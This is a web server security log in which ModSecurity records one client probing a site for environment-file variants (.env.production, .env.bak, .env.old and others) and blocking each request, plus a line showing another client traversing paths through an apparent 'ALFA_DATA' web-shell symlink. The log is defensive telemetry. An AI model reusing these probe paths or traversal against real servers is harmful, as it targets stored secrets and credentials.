[Sat Oct 24 20:51:37.820065 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1SmT8oejtZfsaip1YocQAAABE"]
[Sat Oct 24 20:51:37.858580 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1SmT8oejtZfsaip1YocgAAABE"]
[Sat Oct 24 20:51:37.858801 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1SmT8oejtZfsaip1YocgAAABE"]
[Sat Oct 24 20:51:37.859074 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1SmT8oejtZfsaip1YocgAAABE"]
[Sat Oct 24 20:51:37.908463 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1SmT8oejtZfsaip1YocwAAABE"]
[Sat Oct 24 20:51:37.908725 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1SmT8oejtZfsaip1YocwAAABE"]
[Sat Oct 24 20:51:37.909060 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1SmT8oejtZfsaip1YocwAAABE"]
[Sat Oct 24 20:51:37.933277 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1SmT8oejtZfsaip1YodAAAABE"]
[Sat Oct 24 20:51:37.933543 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1SmT8oejtZfsaip1YodAAAABE"]
[Sat Oct 24 20:51:37.933916 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1SmT8oejtZfsaip1YodAAAABE"]
[Sat Oct 24 20:51:38.066939 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1Smj8oejtZfsaip1YodQAAABE"]
[Sat Oct 24 20:51:38.067223 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1Smj8oejtZfsaip1YodQAAABE"]
[Sat Oct 24 20:51:38.067559 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1Smj8oejtZfsaip1YodQAAABE"]
[Sat Oct 24 20:51:38.124762 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 3.231.193.38:54392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input1/event1/subsystem/input3/device/driver/bind
[Sat Oct 24 20:51:38.152106 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1Smj8oejtZfsaip1YodgAAABE"]
[Sat Oct 24 20:51:38.152325 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1Smj8oejtZfsaip1YodgAAABE"]
[Sat Oct 24 20:51:38.152631 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1Smj8oejtZfsaip1YodgAAABE"]
[Sat Oct 24 20:51:38.227345 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1Smj8oejtZfsaip1YodwAAABE"]
[Sat Oct 24 20:51:38.227618 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1Smj8oejtZfsaip1YodwAAABE"]
[Sat Oct 24 20:51:38.227977 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1Smj8oejtZfsaip1YodwAAABE"]
[Sat Oct 24 20:51:38.308115 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1Smj8oejtZfsaip1YoeAAAABE"]
[Sat Oct 24 20:51:38.308367 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1Smj8oejtZfsaip1YoeAAAABE"]
[Sat Oct 24 20:51:38.308695 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1Smj8oejtZfsaip1YoeAAAABE"]
[Sat Oct 24 20:51:38.352386 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1Smj8oejtZfsaip1YoeQAAABE"]
[Sat Oct 24 20:51:38.352667 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1Smj8oejtZfsaip1YoeQAAABE"]
[Sat Oct 24 20:51:38.353011 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1Smj8oejtZfsaip1YoeQAAABE"]
[Sat Oct 24 20:51:38.402611 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1Smj8oejtZfsaip1YoegAAABE"]
[Sat Oct 24 20:51:38.402886 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1Smj8oejtZfsaip1YoegAAABE"]
[Sat Oct 24 20:51:38.403240 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1Smj8oejtZfsaip1YoegAAABE"]
[Sat Oct 24 20:51:38.448710 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1Smj8oejtZfsaip1YoewAAABE"]
[Sat Oct 24 20:51:38.448911 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1Smj8oejtZfsaip1YoewAAABE"]
[Sat Oct 24 20:51:38.449210 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1Smj8oejtZfsaip1YoewAAABE"]
[Sat Oct 24 20:51:38.477364 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1Smj8oejtZfsaip1YofAAAABE"]
[Sat Oct 24 20:51:38.477643 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1Smj8oejtZfsaip1YofAAAABE"]
[Sat Oct 24 20:51:38.478049 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1Smj8oejtZfsaip1YofAAAABE"]
[Sat Oct 24 20:51:38.713193 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1Smj8oejtZfsaip1YofQAAABE"]
[Sat Oct 24 20:51:38.713442 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1Smj8oejtZfsaip1YofQAAABE"]
[Sat Oct 24 20:51:38.713819 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1Smj8oejtZfsaip1YofQAAABE"]
[Sat Oct 24 20:51:38.754373 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1Smj8oejtZfsaip1YofgAAABE"]
[Sat Oct 24 20:51:38.754631 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1Smj8oejtZfsaip1YofgAAABE"]
